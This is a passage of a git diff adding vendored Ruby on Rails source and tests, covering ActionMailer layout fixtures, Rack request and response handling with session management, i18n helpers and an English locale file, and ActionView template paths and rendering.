end of file diff --git a/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb b/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb new file mode 100644 index 00000000..0533a3b2 --- /dev/null +++ b/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/logout.html.erb @@ -0,0 +1 @@ +You logged out \ No newline at end of file diff --git a/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb b/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb new file mode 100644 index 00000000..4789e888 --- /dev/null +++ b/vendor/rails/actionmailer/test/fixtures/explicit_layout_mailer/signup.html.erb @@ -0,0 +1 @@ +We do not spam \ No newline at end of file diff --git a/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb b/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb new file mode 100644 index 00000000..93227145 --- /dev/null +++ b/vendor/rails/actionmailer/test/fixtures/layouts/auto_layout_mailer.html.erb @@ -0,0 +1 @@ +Hello from layout <%= yield %> \ No newline at end of file diff --git a/vendor/rails/actionmailer/test/fixtures/layouts/spam.html.erb b/vendor/rails/actionmailer/test/fixtures/layouts/spam.html.erb new file mode 100644 index 00000000..619d6b16 --- /dev/null +++ b/vendor/rails/actionmailer/test/fixtures/layouts/spam.html.erb @@ -0,0 +1 @@ +Spammer layout <%= yield %> \ No newline at end of file diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/body_ivar.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/body_ivar.erb new file mode 100644 index 00000000..1421e5c9 --- /dev/null +++ b/vendor/rails/actionmailer/test/fixtures/test_mailer/body_ivar.erb @@ -0,0 +1,2 @@ +body: <%= @body %> +bar: <%= @bar %> \ No newline at end of file diff --git a/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up.html.erb b/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up.html.erb new file mode 100644 index 00000000..a85d5fa4 --- /dev/null +++ b/vendor/rails/actionmailer/test/fixtures/test_mailer/signed_up.html.erb @@ -0,0 +1,3 @@ +Hello there, + +Mr. <%= @recipient %> \ No newline at end of file diff --git a/vendor/rails/actionmailer/test/mail_layout_test.rb b/vendor/rails/actionmailer/test/mail_layout_test.rb new file mode 100644 index 00000000..ffba9a16 --- /dev/null +++ b/vendor/rails/actionmailer/test/mail_layout_test.rb @@ -0,0 +1,78 @@ +require 'abstract_unit' + +class AutoLayoutMailer < ActionMailer::Base + def hello(recipient) + recipients recipient + subject "You have a mail" + from "tester@example.com" + end + + def spam(recipient) + recipients recipient + subject "You have a mail" + from "tester@example.com" + body render(:inline => "Hello, <%= @world %>", :layout => 'spam', :body => { :world => "Earth" }) + end + + def nolayout(recipient) + recipients recipient + subject "You have a mail" + from "tester@example.com" + body render(:inline => "Hello, <%= @world %>", :layout => false, :body => { :world => "Earth" }) + end +end + +class ExplicitLayoutMailer < ActionMailer::Base + layout 'spam', :except => [:logout] + + def signup(recipient) + recipients recipient + subject "You have a mail" + from "tester@example.com" + end + + def logout(recipient) + recipients recipient + subject "You have a mail" + from "tester@example.com" + end +end + +class LayoutMailerTest < Test::Unit::TestCase + def setup + set_delivery_method :test + ActionMailer::Base.perform_deliveries = true + ActionMailer::Base.deliveries = [] + + @recipient = 'test@localhost' + end + + def teardown + restore_delivery_method + end + + def test_should_pickup_default_layout + mail = AutoLayoutMailer.create_hello(@recipient) + assert_equal "Hello from layout Inside", mail.body.strip + end + + def test_should_pickup_layout_given_to_render + mail = AutoLayoutMailer.create_spam(@recipient) + assert_equal "Spammer layout Hello, Earth", mail.body.strip + end + + def test_should_respect_layout_false + mail = AutoLayoutMailer.create_nolayout(@recipient) + assert_equal "Hello, Earth", mail.body.strip + end + + def test_explicit_class_layout + mail = ExplicitLayoutMailer.create_signup(@recipient) + assert_equal "Spammer layout We do not spam", mail.body.strip + end + + def test_explicit_layout_exceptions + mail = ExplicitLayoutMailer.create_logout(@recipient) + assert_equal "You logged out", mail.body.strip + end +end diff --git a/vendor/rails/actionpack/lib/action_controller/performance_test.rb b/vendor/rails/actionpack/lib/action_controller/performance_test.rb new file mode 100644 index 00000000..85543fff --- /dev/null +++ b/vendor/rails/actionpack/lib/action_controller/performance_test.rb @@ -0,0 +1,16 @@ +require 'action_controller/integration' +require 'active_support/testing/performance' +require 'active_support/testing/default' + +module ActionController + # An integration test that runs a code profiler on your test methods. + # Profiling output for combinations of each test method, measurement, and + # output format are written to your tmp/performance directory. + # + # By default, process_time is measured and both flat and graph_html output + # formats are written, so you'll have two output files per test method. + class PerformanceTest < ActionController::IntegrationTest + include ActiveSupport::Testing::Performance + include ActiveSupport::Testing::Default + end +end diff --git a/vendor/rails/actionpack/lib/action_controller/rack_process.rb b/vendor/rails/actionpack/lib/action_controller/rack_process.rb new file mode 100644 index 00000000..e8ea3704 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_controller/rack_process.rb @@ -0,0 +1,303 @@ +require 'action_controller/cgi_ext' +require 'action_controller/session/cookie_store' + +module ActionController #:nodoc: + class RackRequest < AbstractRequest #:nodoc: + attr_accessor :session_options + attr_reader :cgi + + class SessionFixationAttempt < StandardError #:nodoc: + end + + DEFAULT_SESSION_OPTIONS = { + :database_manager => CGI::Session::CookieStore, # store data in cookie + :prefix => "ruby_sess.", # prefix session file names + :session_path => "/", # available to all paths in app + :session_key => "_session_id", + :cookie_only => true, + :session_http_only=> true + } + + def initialize(env, session_options = DEFAULT_SESSION_OPTIONS) + @session_options = session_options + @env = env + @cgi = CGIWrapper.new(self) + super() + end + + %w[ AUTH_TYPE GATEWAY_INTERFACE PATH_INFO + PATH_TRANSLATED REMOTE_HOST + REMOTE_IDENT REMOTE_USER SCRIPT_NAME + SERVER_NAME SERVER_PROTOCOL + + HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING + HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM + HTTP_NEGOTIATE HTTP_PRAGMA HTTP_REFERER HTTP_USER_AGENT ].each do |env| + define_method(env.sub(/^HTTP_/n, '').downcase) do + @env[env] + end + end + + def query_string + qs = super + if !qs.blank? + qs + else + @env['QUERY_STRING'] + end + end + + def body_stream #:nodoc: + @env['rack.input'] + end + + def key?(key) + @env.key?(key) + end + + def cookies + return {} unless @env["HTTP_COOKIE"] + + unless @env["rack.request.cookie_string"] == @env["HTTP_COOKIE"] + @env["rack.request.cookie_string"] = @env["HTTP_COOKIE"] + @env["rack.request.cookie_hash"] = CGI::Cookie::parse(@env["rack.request.cookie_string"]) + end + + @env["rack.request.cookie_hash"] + end + + def server_port + @env['SERVER_PORT'].to_i + end + + def server_software + @env['SERVER_SOFTWARE'].split("/").first + end + + def session + unless defined?(@session) + if @session_options == false + @session = Hash.new + else + stale_session_check! do + if cookie_only? && query_parameters[session_options_with_string_keys['session_key']] + raise SessionFixationAttempt + end + case value = session_options_with_string_keys['new_session'] + when true + @session = new_session + when false + begin + @session = CGI::Session.new(@cgi, session_options_with_string_keys) + # CGI::Session raises ArgumentError if 'new_session' == false + # and no session cookie or query param is present. + rescue ArgumentError + @session = Hash.new + end + when nil + @session = CGI::Session.new(@cgi, session_options_with_string_keys) + else + raise ArgumentError, "Invalid new_session option: #{value}" + end + @session['__valid_session'] + end + end + end + @session + end + + def reset_session + @session.delete if defined?(@session) && @session.is_a?(CGI::Session) + @session = new_session + end + + private + # Delete an old session if it exists then create a new one. + def new_session + if @session_options == false + Hash.new + else + CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => false)).delete rescue nil + CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => true)) + end + end + + def cookie_only? + session_options_with_string_keys['cookie_only'] + end + + def stale_session_check! + yield + rescue ArgumentError => argument_error + if argument_error.message =~ %r{undefined class/module ([\w:]*\w)} + begin + # Note that the regexp does not allow $1 to end with a ':' + $1.constantize + rescue LoadError, NameError => const_error + raise ActionController::SessionRestoreError, <<-end_msg +Session contains objects whose class definition isn\'t available. +Remember to require the classes for all objects kept in the session. +(Original exception: #{const_error.message} [#{const_error.class}]) +end_msg + end + + retry + else + raise + end + end + + def session_options_with_string_keys + @session_options_with_string_keys ||= DEFAULT_SESSION_OPTIONS.merge(@session_options).stringify_keys + end + end + + class RackResponse < AbstractResponse #:nodoc: + def initialize(request) + @cgi = request.cgi + @writer = lambda { |x| @body << x } + @block = nil + super() + end + + # Retrieve status from instance variable if has already been delete + def status + @status || super + end + + def out(output = $stdout, &block) + # Nasty hack because CGI sessions are closed after the normal + # prepare! statement + set_cookies! + + @block = block + @status = headers.delete("Status") + if [204, 304].include?(status.to_i) + headers.delete("Content-Type") + [status, headers.to_hash, []] + else + [status, headers.to_hash, self] + end + end + alias to_a out + + def each(&callback) + if @body.respond_to?(:call) + @writer = lambda { |x| callback.call(x) } + @body.call(self, self) + elsif @body.is_a?(String) + @body.each_line(&callback) + else + @body.each(&callback) + end + + @writer = callback + @block.call(self) if @block + end + + def write(str) + @writer.call str.to_s + str + end + + def close + @body.close if @body.respond_to?(:close) + end + + def empty? + @block == nil && @body.empty? + end + + def prepare! + super + + convert_language! + convert_expires! + set_status! + # set_cookies! + end + + private + def convert_language! + headers["Content-Language"] = headers.delete("language") if headers["language"] + end + + def convert_expires! + headers["Expires"] = headers.delete("") if headers["expires"] + end + + def convert_content_type! + super + headers['Content-Type'] = headers.delete('type') || "text/html" + headers['Content-Type'] += "; charset=" + headers.delete('charset') if headers['charset'] + end + + def set_content_length! + super + headers["Content-Length"] = headers["Content-Length"].to_s if headers["Content-Length"] + end + + def set_status! + self.status ||= "200 OK" + end + + def set_cookies! + # Convert 'cookie' header to 'Set-Cookie' headers. + # Because Set-Cookie header can appear more the once in the response body, + # we store it in a line break separated string that will be translated to + # multiple Set-Cookie header by the handler. + if cookie = headers.delete('cookie') + cookies = [] + + case cookie + when Array then cookie.each { |c| cookies << c.to_s } + when Hash then cookie.each { |_, c| cookies << c.to_s } + else cookies << cookie.to_s + end + + @cgi.output_cookies.each { |c| cookies << c.to_s } if @cgi.output_cookies + + headers['Set-Cookie'] = [headers['Set-Cookie'], cookies].flatten.compact + end + end + end + + class CGIWrapper < ::CGI + attr_reader :output_cookies + + def initialize(request, *args) + @request = request + @args = *args + @input = request.body + + super *args + end + + def params + @params ||= @request.params + end + + def cookies + @request.cookies + end + + def query_string + @request.query_string + end + + # Used to wrap the normal args variable used inside CGI. + def args + @args + end + + # Used to wrap the normal env_table variable used inside CGI. + def env_table + @request.env + end + + # Used to wrap the normal stdinput variable used inside CGI. + def stdinput + @input + end + end +end diff --git a/vendor/rails/actionpack/lib/action_controller/translation.rb b/vendor/rails/actionpack/lib/action_controller/translation.rb new file mode 100644 index 00000000..9bb63cdb --- /dev/null +++ b/vendor/rails/actionpack/lib/action_controller/translation.rb @@ -0,0 +1,13 @@ +module ActionController + module Translation + def translate(*args) + I18n.translate *args + end + alias :t :translate + + def localize(*args) + I18n.localize *args + end + alias :l :localize + end +end \ No newline at end of file diff --git a/vendor/rails/actionpack/lib/action_view/helpers.rb b/vendor/rails/actionpack/lib/action_view/helpers.rb new file mode 100644 index 00000000..ff97df20 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_view/helpers.rb @@ -0,0 +1,38 @@ +Dir.entries(File.expand_path("#{File.dirname(__FILE__)}/helpers")).sort.each do |file| + next unless file =~ /^([a-z][a-z_]*_helper).rb$/ + require "action_view/helpers/#{$1}" +end + +module ActionView #:nodoc: + module Helpers #:nodoc: + def self.included(base) + base.extend(ClassMethods) + end + + module ClassMethods + include SanitizeHelper::ClassMethods + end + + include ActiveRecordHelper + include AssetTagHelper + include AtomFeedHelper + include BenchmarkHelper + include CacheHelper + include CaptureHelper + include DateHelper + include DebugHelper + include FormHelper + include FormOptionsHelper + include FormTagHelper + include NumberHelper + include PrototypeHelper + include RecordIdentificationHelper + include RecordTagHelper + include SanitizeHelper + include ScriptaculousHelper + include TagHelper + include TextHelper + include TranslationHelper + include UrlHelper + end +end diff --git a/vendor/rails/actionpack/lib/action_view/helpers/translation_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/translation_helper.rb new file mode 100644 index 00000000..dc41ef53 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_view/helpers/translation_helper.rb @@ -0,0 +1,21 @@ +require 'action_view/helpers/tag_helper' + +module ActionView + module Helpers + module TranslationHelper + def translate(key, options = {}) + options[:raise] = true + I18n.translate(key, options) + rescue I18n::MissingTranslationData => e + keys = I18n.send(:normalize_translation_keys, e.locale, e.key, e.options[:scope]) + content_tag('span', keys.join(', '), :class => 'translation_missing') + end + alias :t :translate + + def localize(*args) + I18n.localize *args + end + alias :l :localize + end + end +end \ No newline at end of file diff --git a/vendor/rails/actionpack/lib/action_view/locale/en.yml b/vendor/rails/actionpack/lib/action_view/locale/en.yml new file mode 100644 index 00000000..002226fd --- /dev/null +++ b/vendor/rails/actionpack/lib/action_view/locale/en.yml @@ -0,0 +1,91 @@ +"en": + number: + # Used in number_with_delimiter() + # These are also the defaults for 'currency', 'percentage', 'precision', and 'human' + format: + # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5) + separator: "." + # Delimets thousands (e.g. 1,000,000 is a million) (always in groups of three) + delimiter: "," + # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00) + precision: 3 + + # Used in number_to_currency() + currency: + format: + # Where is the currency sign? %u is the currency unit, %n the number (default: $5.00) + format: "%u%n" + unit: "$" + # These three are to override number.format and are optional + separator: "." + delimiter: "," + precision: 2 + + # Used in number_to_percentage() + percentage: + format: + # These three are to override number.format and are optional + # separator: + delimiter: "" + # precision: + + # Used in number_to_precision() + precision: + format: + # These three are to override number.format and are optional + # separator: + delimiter: "" + # precision: + + # Used in number_to_human_size() + human: + format: + # These three are to override number.format and are optional + # separator: + delimiter: "" + precision: 1 + + # Used in distance_of_time_in_words(), distance_of_time_in_words_to_now(), time_ago_in_words() + datetime: + distance_in_words: + half_a_minute: "half a minute" + less_than_x_seconds: + one: "less than 1 second" + other: "less than {{count}} seconds" + x_seconds: + one: "1 second" + other: "{{count}} seconds" + less_than_x_minutes: + one: "less than a minute" + other: "less than {{count}} minutes" + x_minutes: + one: "1 minute" + other: "{{count}} minutes" + about_x_hours: + one: "about 1 hour" + other: "about {{count}} hours" + x_days: + one: "1 day" + other: "{{count}} days" + about_x_months: + one: "about 1 month" + other: "about {{count}} months" + x_months: + one: "1 month" + other: "{{count}} months" + about_x_years: + one: "about 1 year" + other: "about {{count}} years" + over_x_years: + one: "over 1 year" + other: "over {{count}} years" + + activerecord: + errors: + template: + header: + one: "1 error prohibited this {{model}} from being saved" + other: "{{count}} errors prohibited this {{model}} from being saved" + # The variable :count is also available + body: "There were problems with the following fields:" + diff --git a/vendor/rails/actionpack/lib/action_view/paths.rb b/vendor/rails/actionpack/lib/action_view/paths.rb new file mode 100644 index 00000000..d6bf2137 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_view/paths.rb @@ -0,0 +1,125 @@ +module ActionView #:nodoc: + class PathSet < Array #:nodoc: + def self.type_cast(obj) + if obj.is_a?(String) + if Base.warn_cache_misses && defined?(Rails) && Rails.initialized? + Base.logger.debug "[PERFORMANCE] Processing view path during a " + + "request. This an expense disk operation that should be done at " + + "boot. You can manually process this view path with " + + "ActionView::Base.process_view_paths(#{obj.inspect}) and set it " + + "as your view path" + end + Path.new(obj) + else + obj + end + end + + def initialize(*args) + super(*args).map! { |obj| self.class.type_cast(obj) } + end + + def <<(obj) + super(self.class.type_cast(obj)) + end + + def concat(array) + super(array.map! { |obj| self.class.type_cast(obj) }) + end + + def insert(index, obj) + super(index, self.class.type_cast(obj)) + end + + def push(*objs) + super(*objs.map { |obj| self.class.type_cast(obj) }) + end + + def unshift(*objs) + super(*objs.map { |obj| self.class.type_cast(obj) }) + end + + class Path #:nodoc: + def self.eager_load_templates! + @eager_load_templates = true + end + + def self.eager_load_templates? + @eager_load_templates || false + end + + attr_reader :path, :paths + delegate :to_s, :to_str, :hash, :inspect, :to => :path + + def initialize(path, load = true) + raise ArgumentError, "path already is a Path class" if path.is_a?(Path) + @path = path.freeze + reload! if load + end + + def ==(path) + to_str == path.to_str + end + + def eql?(path) + to_str == path.to_str + end + + def [](path) + raise "Unloaded view path! #{@path}" unless @loaded + @paths[path] + end + + def loaded? + @loaded ? true : false + end + + def load + reload! unless loaded? + self + end + + # Rebuild load path directory cache + def reload! + @paths = {} + + templates_in_path do |template| + # Eager load memoized methods and freeze cached template + template.freeze if self.class.eager_load_templates? + + @paths[template.path] = template + @paths[template.path_without_extension] ||= template + end + + @paths.freeze + @loaded = true + end + + private + def templates_in_path + (Dir.glob("#{@path}/**/*/**") | Dir.glob("#{@path}/**")).each do |file| + unless File.directory?(file) + yield Template.new(file.split("#{self}/").last, self) + end + end + end + end + + def load + each { |path| path.load } + end + + def reload! + each { |path| path.reload! } + end + + def [](template_path) + each do |path| + if template = path[template_path] + return template + end + end + nil + end + end +end diff --git a/vendor/rails/actionpack/lib/action_view/renderable.rb b/vendor/rails/actionpack/lib/action_view/renderable.rb new file mode 100644 index 00000000..5ff5569d --- /dev/null +++ b/vendor/rails/actionpack/lib/action_view/renderable.rb @@ -0,0 +1,102 @@ +module ActionView + # NOTE: The template that this mixin is being included into is frozen + # so you cannot set or modify any instance variables + module Renderable #:nodoc: + extend ActiveSupport::Memoizable + + def self.included(base) + @@mutex = Mutex.new + end + + def filename + 'compiled-template' + end + + def handler + Template.handler_class_for_extension(extension) + end + memoize :handler + + def compiled_source + handler.call(self) + end + memoize :compiled_source + + def render(view, local_assigns = {}) + compile(local_assigns) + + stack = view.instance_variable_get(:@_render_stack) + stack.push(self) + + # This is only used for TestResponse to set rendered_template + unless is_a?(InlineTemplate) || view.instance_variable_get(:@_first_render) + view.instance_variable_set(:@_first_render, self) + end + + view.send(:_evaluate_assigns_and_ivars) + view.send(:_set_controller_content_type, mime_type) if respond_to?(:mime_type) + + result = view.send(method_name(local_assigns), local_assigns) do |*names| + ivar = :@_proc_for_layout + if !view.instance_variable_defined?(:"@content_for_#{names.first}") && view.instance_variable_defined?(ivar) && (proc = view.instance_variable_get(ivar)) + view.capture(*names, &proc) + elsif view.instance_variable_defined?(ivar = :"@content_for_#{names.first || :layout}") + view.instance_variable_get(ivar) + end + end + + stack.pop + result + end + + def method_name(local_assigns) + if local_assigns && local_assigns.any? + local_assigns_keys = "locals_#{local_assigns.keys.map { |k| k.to_s }.sort.join('_')}" + end + ['_run', extension, method_segment, local_assigns_keys].compact.join('_').to_sym + end + + private + # Compile and evaluate the template's code (if necessary) + def compile(local_assigns) + render_symbol = method_name(local_assigns) + + @@mutex.synchronize do + if recompile?(render_symbol) + compile!(render_symbol, local_assigns) + end + end + end + + def compile!(render_symbol, local_assigns) + locals_code = local_assigns.keys.map { |key| "#{key} = local_assigns[:#{key}];" }.join + + source = <<-end_src + def #{render_symbol}(local_assigns) + old_output_buffer = output_buffer;#{locals_code};#{compiled_source} + ensure + self.output_buffer = old_output_buffer + end + end_src + + begin + ActionView::Base::CompiledTemplates.module_eval(source, filename, 0) + rescue Exception => e # errors from template code + if logger = defined?(ActionController) && Base.logger + logger.debug "ERROR: compiling #{render_symbol} RAISED #{e}" + logger.debug "Function body: #{source}" + logger.debug "Backtrace: #{e.backtrace.join("\n")}" + end + + raise ActionView::TemplateError.new(self, {}, e) + end + end + + # Method to check whether template compilation is necessary. + # The template will be compiled if the file has not been compiled yet, or + # if local_assigns has a new key, which isn't supported by the compiled code yet. + def recompile?(symbol) + !(ActionView::PathSet::Path.eager_load_templates? && Base::CompiledTemplates.method_defined?(symbol)) + end + end +end diff --git a/vendor/rails/actionpack/lib/action_view/renderable_partial.rb b/vendor/rails/actionpack/lib/action_view/renderable_partial.rb new file mode 100644 index 00000000..d92ff1b8 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_view/renderable_partial.rb @@ -0,0 +1,48 @@ +module ActionView + # NOTE: The template that this mixin is being included into is frozen + # so you cannot set or modify any instance variables + module RenderablePartial #:nodoc: + extend ActiveSupport::Memoizable + + def variable_name + name.sub(/\A_/, '').to_sym + end + memoize :variable_name + + def counter_name + "#{variable_name}_counter".to_sym + end + memoize :counter_name + + def render(view, local_assigns = {}) + if defined? ActionController + ActionController::Base.benchmark("Rendered #{path_without_format_and_extension}", Logger::DEBUG, false) do + super + end + else + super + end + end + + def render_partial(view, object = nil, local_assigns = {}, as = nil) + object ||= local_assigns[:object] || + local_assigns[variable_name] + + if view.respond_to?(:controller) + ivar = :"@#{variable_name}" + object ||= + if view.controller.instance_variable_defined?(ivar) + ActiveSupport::Deprecation::DeprecatedObjectProxy.new( + view.controller.instance_variable_get(ivar), + "#{ivar} will no longer be implicitly assigned to #{variable_name}") + end + end + + # Ensure correct object is reassigned to other accessors + local_assigns[:object] = local_assigns[variable_name] = object + local_assigns[as] = object if as + + render_template(view, local_assigns) + end + end +end diff --git a/vendor/rails/actionpack/lib/action_view/template_handlers.rb b/vendor/rails/actionpack/lib/action_view/template_handlers.rb new file mode 100644 index 00000000..6c8aa4c2 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_view/template_handlers.rb @@ -0,0 +1,45 @@ +require 'action_view/template_handler' +require 'action_view/template_handlers/builder' +require 'action_view/template_handlers/erb' +require 'action_view/template_handlers/rjs' + +module ActionView #:nodoc: + module TemplateHandlers #:nodoc: + def self.extended(base) + base.register_default_template_handler :erb, TemplateHandlers::ERB + base.register_template_handler :rjs, TemplateHandlers::RJS + base.register_template_handler :builder, TemplateHandlers::Builder + + # TODO: Depreciate old template extensions + base.register_template_handler :rhtml, TemplateHandlers::ERB + base.register_template_handler :rxml, TemplateHandlers::Builder + end + + @@template_handlers = {} + @@default_template_handlers = nil + + # Register a class that knows how to handle template files with the given + # extension. This can be used to implement new template types. + # The constructor for the class must take the ActiveView::Base instance + # as a parameter, and the class must implement a +render+ method that + # takes the contents of the template to render as well as the Hash of + # local assigns available to the template. The +render+ method ought to + # return the rendered template as a string. + def register_template_handler(extension, klass) + @@template_handlers[extension.to_sym] = klass + end + + def template_handler_extensions + @@template_handlers.keys.map(&:to_s).sort + end + + def register_default_template_handler(extension, klass) + register_template_handler(extension, klass) + @@default_template_handlers = klass + end + + def handler_class_for_extension(extension) + (extension && @@template_handlers[extension.to_sym]) || @@default_template_handlers + end + end +end diff --git a/vendor/rails/actionpack/test/controller/html-scanner/cdata_node_test.rb b/vendor/rails/actionpack/test/controller/html-scanner/cdata_node_test.rb new file mode 100644 index 00000000..1822cc56 --- /dev/null +++ b/vendor/rails/actionpack/test/controller/html-scanner/cdata_node_test.rb @@ -0,0 +1,15 @@ +require 'abstract_unit' + +class CDATANodeTest < Test::Unit::TestCase + def setup + @node = HTML::CDATA.new(nil, 0, 0, "

howdy

") + end + + def test_to_s + assert_equal "howdy

]]>", @node.to_s + end + + def test_content + assert_equal "

howdy

", @node.content + end +end diff --git a/vendor/rails/actionpack/test/controller/logging_test.rb b/vendor/rails/actionpack/test/controller/logging_test.rb new file mode 100644 index 00000000..3c936854 --- /dev/null +++ b/vendor/rails/actionpack/test/controller/logging_test.rb @@ -0,0 +1,46 @@ +require 'abstract_unit' + +class LoggingController < ActionController::Base + def show + render :nothing => true + end +end + +class LoggingTest < ActionController::TestCase + tests LoggingController + + class MockLogger + attr_reader :logged + + def method_missing(method, *args) + @logged ||= [] + @logged << args.first + end + end + + setup :set_logger + + def test_logging_without_parameters + get :show + assert_equal 2, logs.size + assert_nil logs.detect {|l| l =~ /Parameters/ } + end + + def test_logging_with_parameters + get :show, :id => 10 + assert_equal 3, logs.size + + params = logs.detect {|l| l =~ /Parameters/ } + assert_equal 'Parameters: {"id"=>"10"}', params + end + + private + + def set_logger + @controller.logger = MockLogger.new + end + + def logs + @logs ||= @controller.logger.logged.compact.map {|l| l.strip} + end +end diff --git a/vendor/rails/actionpack/test/controller/rack_test.rb b/vendor/rails/actionpack/test/controller/rack_test.rb new file mode 100644 index 00000000..d5e56b95 --- /dev/null +++ b/vendor/rails/actionpack/test/controller/rack_test.rb @@ -0,0 +1,323 @@ +require 'abstract_unit' +require 'action_controller/rack_process' + +class BaseRackTest < Test::Unit::TestCase + def setup + @env = { + "HTTP_MAX_FORWARDS" => "10", + "SERVER_NAME" => "glu.ttono.us:8007", + "FCGI_ROLE" => "RESPONDER", + "AUTH_TYPE" => "Basic", + "HTTP_X_FORWARDED_HOST" => "glu.ttono.us", + "HTTP_ACCEPT_CHARSET" => "UTF-8", + "HTTP_ACCEPT_ENCODING" => "gzip, deflate", + "HTTP_CACHE_CONTROL" => "no-cache, max-age=0", + "HTTP_PRAGMA" => "no-cache", + "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", + "PATH_INFO" => "/homepage/", + "HTTP_ACCEPT_LANGUAGE" => "en", + "HTTP_NEGOTIATE" => "trans", + "HTTP_HOST" => "glu.ttono.us:8007", + "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us", + "HTTP_FROM" => "googlebot", + "SERVER_PROTOCOL" => "HTTP/1.1", + "REDIRECT_URI" => "/dispatch.fcgi", + "SCRIPT_NAME" => "/dispatch.fcgi", + "SERVER_ADDR" => "207.7.108.53", + "REMOTE_ADDR" => "207.7.108.53", + "REMOTE_HOST" => "google.com", + "REMOTE_IDENT" => "kevin", + "REMOTE_USER" => "kevin", + "SERVER_SOFTWARE" => "lighttpd/1.4.5", + "HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes", + "HTTP_X_FORWARDED_SERVER" => "glu.ttono.us", + "REQUEST_URI" => "/admin", + "DOCUMENT_ROOT" => "/home/kevinc/sites/typo/public", + "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/", + "SERVER_PORT" => "8007", + "QUERY_STRING" => "", + "REMOTE_PORT" => "63137", + "GATEWAY_INTERFACE" => "CGI/1.1", + "HTTP_X_FORWARDED_FOR" => "65.88.180.234", + "HTTP_ACCEPT" => "*/*", + "SCRIPT_FILENAME" => "/home/kevinc/sites/typo/public/dispatch.fcgi", + "REDIRECT_STATUS" => "200", + "REQUEST_METHOD" => "GET" + } + @request = ActionController::RackRequest.new(@env) + # some Nokia phone browsers omit the space after the semicolon separator. + # some developers have grown accustomed to using comma in cookie values. + @alt_cookie_fmt_request = ActionController::RackRequest.new(@env.merge({"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"})) + end + + def default_test; end + + private + + def set_content_data(data) + @request.env['REQUEST_METHOD'] = 'POST' + @request.env['CONTENT_LENGTH'] = data.length + @request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8' + @request.env['RAW_POST_DATA'] = data + end +end + +class RackRequestTest < BaseRackTest + def test_proxy_request + assert_equal 'glu.ttono.us', @request.host_with_port(true) + end + + def test_http_host + @env.delete "HTTP_X_FORWARDED_HOST" + @env['HTTP_HOST'] = "rubyonrails.org:8080" + assert_equal "rubyonrails.org", @request.host(true) + assert_equal "rubyonrails.org:8080", @request.host_with_port(true) + + @env['HTTP_X_FORWARDED_HOST'] = "www.firsthost.org, www.secondhost.org" + assert_equal "www.secondhost.org", @request.host(true) + end + + def test_http_host_with_default_port_overrides_server_port + @env.delete "HTTP_X_FORWARDED_HOST" + @env['HTTP_HOST'] = "rubyonrails.org" + assert_equal "rubyonrails.org", @request.host_with_port(true) + end + + def test_host_with_port_defaults_to_server_name_if_no_host_headers + @env.delete "HTTP_X_FORWARDED_HOST" + @env.delete "HTTP_HOST" + assert_equal "glu.ttono.us:8007", @request.host_with_port(true) + end + + def test_host_with_port_falls_back_to_server_addr_if_necessary + @env.delete "HTTP_X_FORWARDED_HOST" + @env.delete "HTTP_HOST" + @env.delete "SERVER_NAME" + assert_equal "207.7.108.53", @request.host(true) + assert_equal 8007, @request.port(true) + assert_equal "207.7.108.53:8007", @request.host_with_port(true) + end + + def test_host_with_port_if_http_standard_port_is_specified + @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:80" + assert_equal "glu.ttono.us", @request.host_with_port(true) + end + + def test_host_with_port_if_https_standard_port_is_specified + @env['HTTP_X_FORWARDED_PROTO'] = "https" + @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:443" + assert_equal "glu.ttono.us", @request.host_with_port(true) + end + + def test_host_if_ipv6_reference + @env.delete "HTTP_X_FORWARDED_HOST" + @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]" + assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host(true) + end + + def test_host_if_ipv6_reference_with_port + @env.delete "HTTP_X_FORWARDED_HOST" + @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]:8008" + assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host(true) + end + + def test_cgi_environment_variables + assert_equal "Basic", @request.auth_type + assert_equal 0, @request.content_length + assert_equal nil, @request.content_type + assert_equal "CGI/1.1", @request.gateway_interface + assert_equal "*/*", @request.accept + assert_equal "UTF-8", @request.accept_charset + assert_equal "gzip, deflate", @request.accept_encoding + assert_equal "en", @request.accept_language + assert_equal "no-cache, max-age=0", @request.cache_control + assert_equal "googlebot", @request.from + assert_equal "glu.ttono.us", @request.host + assert_equal "trans", @request.negotiate + assert_equal "no-cache", @request.pragma + assert_equal "http://www.google.com/search?q=glu.ttono.us", @request.referer + assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", @request.user_agent + assert_equal "/homepage/", @request.path_info + assert_equal 